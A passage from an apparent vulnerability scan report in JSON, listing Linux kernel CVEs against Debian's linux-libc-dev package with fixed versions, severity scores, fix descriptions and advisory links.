"https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46195" ], "PublishedDate": "2026-05-28T10:16:35.147Z", "LastModifiedDate": "2026-10-19T20:18:37.523Z" }, { "VulnerabilityID": "CVE-2026-46203", "VendorIDs": [ "DSA-6355-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46203", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c6d02343176bd7f22428d7b719d574981477834a98afb441b6ff6ffc9fe14bfb", "Title": "kernel: spi: cadence-quadspi: fix unclocked access on unbind", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: cadence-quadspi: fix unclocked access on unbind\n\nMake sure that the controller is runtime resumed before disabling it\nduring driver unbind to avoid an unclocked register access.\n\nThis issue was flagged by Sashiko when reviewing a controller\nderegistration fix.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46203", "https://git.kernel.org/linus/233db2cb14db8b1935dda52a6affd97276462b82%20%287.1-rc2%29", "https://git.kernel.org/stable/c/233db2cb14db8b1935dda52a6affd97276462b82", "https://git.kernel.org/stable/c/2e7cd62c37f51823c2bb79de1d4d76d0c1678c7e", "https://git.kernel.org/stable/c/63a9f6012f453578898c9fcc13c8452a8651104e", "https://git.kernel.org/stable/c/d67a5311818b3e6481a1e4293c9337ebfee73111", "https://lore.kernel.org/linux-cve-announce/2026052833-CVE-2026-46203-8cc7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46203", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-46203" ], "PublishedDate": "2026-05-28T10:16:35.96Z", "LastModifiedDate": "2026-06-19T13:16:35.48Z" }, { "VulnerabilityID": "CVE-2026-46219", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.90-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46219", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:80ed18655f29c2c96b1470a87cf6564c15ec31583743ec94bd7c0c32a5108f71", "Title": "kernel: spi: mpc52xx: fix use-after-free on unbind", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: mpc52xx: fix use-after-free on unbind\n\nThe state machine work is scheduled by the interrupt handler and\ntherefore needs to be cancelled after disabling interrupts to avoid a\npotential use-after-free.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46219", "https://git.kernel.org/linus/706b3dc2ac7a998c55e14b3fd2e8f934c367e6e0%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0944b20e9dfa2917bd70eb5b301cbb67fe54a718", "https://git.kernel.org/stable/c/6c3e413919a12627d04a31a4a5fccb9fc129bb02", "https://git.kernel.org/stable/c/706b3dc2ac7a998c55e14b3fd2e8f934c367e6e0", "https://git.kernel.org/stable/c/ac8316c896c79f32c1d0a38cb41fd2b14cf8112e", "https://git.kernel.org/stable/c/bb6b50f709c5a01906ff72a07fdc070bb3357188", "https://git.kernel.org/stable/c/bbcd6dd8e9f264440eaf6167382bf404911c1c46", "https://git.kernel.org/stable/c/ed929d40963073f23cfb50219ccbcc6e0c3ea641", "https://git.kernel.org/stable/c/ee52da0dd83ebcd89ecbbe2660c57b15a25489f2", "https://lore.kernel.org/linux-cve-announce/2026052836-CVE-2026-46219-9b95@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46219", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46219" ], "PublishedDate": "2026-05-28T10:16:37.53Z", "LastModifiedDate": "2026-06-17T10:53:21.313Z" }, { "VulnerabilityID": "CVE-2026-46227", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.90-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46227", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ad192874d1a2b67247254bcba0fb4e147a33b2088e64f364736b04855cb76725", "Title": "kernel: sctp: revalidate list cursor after sctp_sendmsg_to_asoc() in SCTP_SENDALL", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: revalidate list cursor after sctp_sendmsg_to_asoc() in SCTP_SENDALL\n\nThe SCTP_SENDALL path in sctp_sendmsg() iterates ep-\u003easocs with\nlist_for_each_entry_safe(), which caches the next entry in @tmp before\nthe loop body runs. The body calls sctp_sendmsg_to_asoc(), which may\ndrop the socket lock inside sctp_wait_for_sndbuf().\n\nWhile the lock is dropped, another thread can SCTP_SOCKOPT_PEELOFF the\nassociation cached in @tmp, migrating it to a new endpoint via\nsctp_sock_migrate() (list_del_init() + list_add_tail() to\nnewep-\u003easocs), and optionally close the new socket which frees the\nassociation via kfree_rcu(). The cached @tmp can also be freed by a\nnetwork ABORT for that association, processed in softirq while the\nlock is dropped.\n\nsctp_wait_for_sndbuf() revalidates @asoc (the current entry) on re-lock\nvia the \"sk != asoc-\u003ebase.sk\" and \"asoc-\u003ebase.dead\" checks, but nothing\nrevalidates @tmp. After a successful return, the iterator advances to\nthe stale @tmp, yielding either a use-after-free (if the peeled socket\nwas closed) or a list-walk onto the new endpoint's list head (type\nconfusion of \u0026newep-\u003easocs as a struct sctp_association *).\n\nBoth are reachable from CapEff=0; the type-confusion path gives\ncontrolled indirect call via the outqueue.sched-\u003einit_sid pointer.\n\nFix by re-deriving @tmp from @asoc after sctp_sendmsg_to_asoc()\nreturns. @asoc is known to still be on ep-\u003easocs at that point: the\nonly callers that list_del an association from ep-\u003easocs are\nsctp_association_free() (which sets asoc-\u003ebase.dead) and\nsctp_assoc_migrate() (which changes asoc-\u003ebase.sk), and\nsctp_wait_for_sndbuf() checks both under the lock before any\nsuccessful return; a tripped check propagates as err \u003c 0 and the loop\nbails before the re-derive.\n\nThe SCTP_ABORT path in sctp_sendmsg_check_sflags() returns 0 and the\nloop hits 'continue' before sctp_sendmsg_to_asoc() is ever called, so\nthe @tmp cached by list_for_each_entry_safe() still covers the\nlock-held free that ba59fb027307 (\"sctp: walk the list of asoc\nsafely\") was added for.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-362", "CWE-367" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26462", "https://access.redhat.com/errata/RHSA-2026:26515", "https://access.redhat.com/errata/RHSA-2026:26535", "https://access.redhat.com/errata/RHSA-2026:26563", "https://access.redhat.com/errata/RHSA-2026:27731", "https://access.redhat.com/errata/RHSA-2026:27735", "https://access.redhat.com/errata/RHSA-2026:33899", "https://access.redhat.com/errata/RHSA-2026:34094", "https://access.redhat.com/errata/RHSA-2026:36018", "https://access.redhat.com/errata/RHSA-2026:36348", "https://access.redhat.com/errata/RHSA-2026:36349", "https://access.redhat.com/errata/RHSA-2026:36956", "https://access.redhat.com/errata/RHSA-2026:59142", "https://access.redhat.com/errata/RHSA-2026:59143", "https://access.redhat.com/errata/RHSA-2026:59145", "https://access.redhat.com/errata/RHSA-2026:59146", "https://access.redhat.com/errata/RHSA-2026:59147", "https://access.redhat.com/errata/RHSA-2026:59148", "https://access.redhat.com/errata/RHSA-2026:59149", "https://access.redhat.com/security/cve/CVE-2026-46227", "https://bugzilla.redhat.com/2467015", "https://bugzilla.redhat.com/2467113", "https://bugzilla.redhat.com/2479832", "https://bugzilla.redhat.com/2482523", "https://bugzilla.redhat.com/2482564", "https://bugzilla.redhat.com/2482636", "https://bugzilla.redhat.com/2482660", "https://bugzilla.redhat.com/2484451", "https://bugzilla.redhat.com/2484477", "https://bugzilla.redhat.com/2486958", "https://bugzilla.redhat.com/2486982", "https://bugzilla.redhat.com/show_bug.cgi?id=2467015", "https://bugzilla.redhat.com/show_bug.cgi?id=2467113", "https://bugzilla.redhat.com/show_bug.cgi?id=2479832", "https://bugzilla.redhat.com/show_bug.cgi?id=2482523", "https://bugzilla.redhat.com/show_bug.cgi?id=2482564", "https://bugzilla.redhat.com/show_bug.cgi?id=2482636", "https://bugzilla.redhat.com/show_bug.cgi?id=2482660", "https://bugzilla.redhat.com/show_bug.cgi?id=2484451", "https://bugzilla.redhat.com/show_bug.cgi?id=2484477", "https://bugzilla.redhat.com/show_bug.cgi?id=2486958", "https://bugzilla.redhat.com/show_bug.cgi?id=2486982", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-10263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43112", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46155", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46244", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46316", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46323", "https://errata.almalinux.org/9/ALSA-2026-36018.html", "https://errata.rockylinux.org/RLSA-2026:36018", "https://git.kernel.org/linus/abb5f36771cc4c05899b34000829a787572a8817%20%287.1-rc4%29", "https://git.kernel.org/stable/c/0c7b55974f97b78d1109025eadf084e74cbf330f", "https://git.kernel.org/stable/c/0dbc8cde64280fc37cdd678cced34eaf96cfb197", "https://git.kernel.org/stable/c/1bfb06ecb00f7fdf35dba8e8f2877346cbe5e078", "https://git.kernel.org/stable/c/6187a172d6ed57d6b2c327836e4407c6456e639d", "https://git.kernel.org/stable/c/abb5f36771cc4c05899b34000829a787572a8817", "https://git.kernel.org/stable/c/bf0f40d8107e2ce827521968dc6926f3e13728ae", "https://git.kernel.org/stable/c/c9dadb31f36045a8cb65df4bd75e7237ef21a4b5", "https://git.kernel.org/stable/c/f3a3f0b406b4b7eb3cea35a23fa2bf170848b104", "https://linux.oracle.com/cve/CVE-2026-46227.html", "https://linux.oracle.com/errata/ELSA-2026-36956.html", "https://lore.kernel.org/linux-cve-announce/2026052838-CVE-2026-46227-4bf1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46227", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46227.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46227" ], "PublishedDate": "2026-05-28T10:16:38.317Z", "LastModifiedDate": "2026-10-19T20:18:38.597Z" }, { "VulnerabilityID": "CVE-2026-46234", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.90-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46234", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fa97df62357a539e8f5947733d1665378f5a927a5b13814c3ff15ae0a888ef6f", "Title": "kernel: vsock: fix buffer size clamping order", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvsock: fix buffer size clamping order\n\nIn vsock_update_buffer_size(), the buffer size was being clamped to the\nmaximum first, and then to the minimum. If a user sets a minimum buffer\nsize larger than the maximum, the minimum check overrides the maximum\ncheck, inverting the constraint.\n\nThis breaks the intended socket memory boundaries by allowing the\nvsk-\u003ebuffer_size to grow beyond the configured vsk-\u003ebuffer_max_size.\n\nFix this by checking the minimum first, and then the maximum. This\nensures the buffer size never exceeds the buffer_max_size.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46234", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/d114bfdc9b76bf93b881e195b7ec957c14227bab%20%287.1-rc1%29", "https://git.kernel.org/stable/c/01ef69785dc3162f588a361ab770b1e312800188", "https://git.kernel.org/stable/c/0b68881501460c3761f196469e1e503218c5e536", "https://git.kernel.org/stable/c/2602f7bb5818e92315feeaeb71d8ce4d5c9ab160", "https://git.kernel.org/stable/c/310da27932dd0afe7ce7456dfe1f0814c3301f41", "https://git.kernel.org/stable/c/a998a7e250bf976539e05a00ec64a81292afecaa", "https://git.kernel.org/stable/c/caf11dfea5233a69298a1c448bbf8d1639c80536", "https://git.kernel.org/stable/c/d114bfdc9b76bf93b881e195b7ec957c14227bab", "https://git.kernel.org/stable/c/f6ec135941d2c1c2dbb87b5ce1783f4f6ac6ccca", "https://kernelcve.org/list/?q=CVE-2026-46234", "https://linux.oracle.com/cve/CVE-2026-46234.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026052840-CVE-2026-46234-bed5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46234", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46234" ], "PublishedDate": "2026-05-28T10:16:39.043Z", "LastModifiedDate": "2026-11-06T17:17:45.393Z" }, { "VulnerabilityID": "CVE-2026-46241", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.90-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46241", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e51b2972b29ab991334638d57f665e3147b47661db9d131575d161b8912a1344", "Title": "kernel: spi: mpc52xx: fix use-after-free on registration failure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: mpc52xx: fix use-after-free on registration failure\n\nMake sure to disable and free the interrupts in case controller\nregistration fails to avoid a potential use-after-free and resource\nleak.\n\nThis issue was flagged by Sashiko when reviewing a controller\nderegistration fix.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46241", "https://git.kernel.org/linus/f62c060272b9d7423b1650b844e8e4e7b8f9f925%20%287.1-rc1%29", "https://git.kernel.org/stable/c/336d9ad7560b3baba17af06727a888040ee93390", "https://git.kernel.org/stable/c/5c77f11b9b5f1ad5a704dad875260c44016ede10", "https://git.kernel.org/stable/c/8b49b6aadd0c622ca7d68b4a53ae10362e221cf3", "https://git.kernel.org/stable/c/b25eb3d24d03e571f09c04a0522c798ea35e48a1", "https://git.kernel.org/stable/c/dd74a790818ebb9a2be3a94ac935a374755cd278", "https://git.kernel.org/stable/c/f62c060272b9d7423b1650b844e8e4e7b8f9f925", "https://lore.kernel.org/linux-cve-announce/2026052842-CVE-2026-46241-679a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46241", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46241" ], "PublishedDate": "2026-05-28T10:16:39.71Z", "LastModifiedDate": "2026-10-30T13:19:00.287Z" }, { "VulnerabilityID": "CVE-2026-46242", "VendorIDs": [ "DSA-6381-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46242", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6acc3ed62aff5cbb11c344ea8fcf393916f977b3b862d05806ed879e15ca7f93", "Title": "kernel: eventpoll: fix ep_remove struct eventpoll / struct file UAF", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\neventpoll: fix ep_remove struct eventpoll / struct file UAF\n\nep_remove() (via ep_remove_file()) cleared file-\u003ef_ep under\nfile-\u003ef_lock but then kept using @file inside the critical section\n(is_file_epoll(), hlist_del_rcu() through the head, spin_unlock).\nA concurrent __fput() taking the eventpoll_release() fastpath in\nthat window observed the transient NULL, skipped\neventpoll_release_file() and ran to f_op-\u003erelease / file_free().\n\nFor the epoll-watches-epoll case, f_op-\u003erelease is\nep_eventpoll_release() -\u003e ep_clear_and_put() -\u003e ep_free(), which\nkfree()s the watched struct eventpoll. Its embedded -\u003erefs\nhlist_head is exactly where epi-\u003efllink.pprev points, so the\nsubsequent hlist_del_rcu()'s \"*pprev = next\" scribbles into freed\nkmalloc-192 memory.\n\nIn addition, struct file is SLAB_TYPESAFE_BY_RCU, so the slot\nbacking @file could be recycled by alloc_empty_file() --\nreinitializing f_lock and f_ep -- while ep_remove() is still\nnominally inside that lock. The upshot is an attacker-controllable\nkmem_cache_free() against the wrong slab cache.\n\nPin @file via epi_fget() at the top of ep_remove() and gate the\ncritical section on the pin succeeding. With the pin held @file\ncannot reach refcount zero, which holds __fput() off and\ntransitively keeps the watched struct eventpoll alive across the\nhlist_del_rcu() and the f_lock use, closing both UAFs.\n\nIf the pin fails @file has already reached refcount zero and its\n__fput() is in flight. Because we bailed before clearing f_ep,\nthat path takes the eventpoll_release() slow path into\neventpoll_release_file() and blocks on ep-\u003emtx until the waiter\nside's ep_clear_and_put() drops it. The bailed epi's share of\nep-\u003erefcount stays intact, so the trailing ep_refcount_dec_and_test()\nin ep_clear_and_put() cannot free the eventpoll out from under\neventpoll_release_file(); the orphaned epi is then cleaned up\nthere.\n\nA successful pin also proves we are not racing\neventpoll_release_file() on this epi, so drop the now-redundant\nre-check of epi-\u003edying under f_lock. The cheap lockless\nREAD_ONCE(epi-\u003edying) fast-path bailout stays.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", 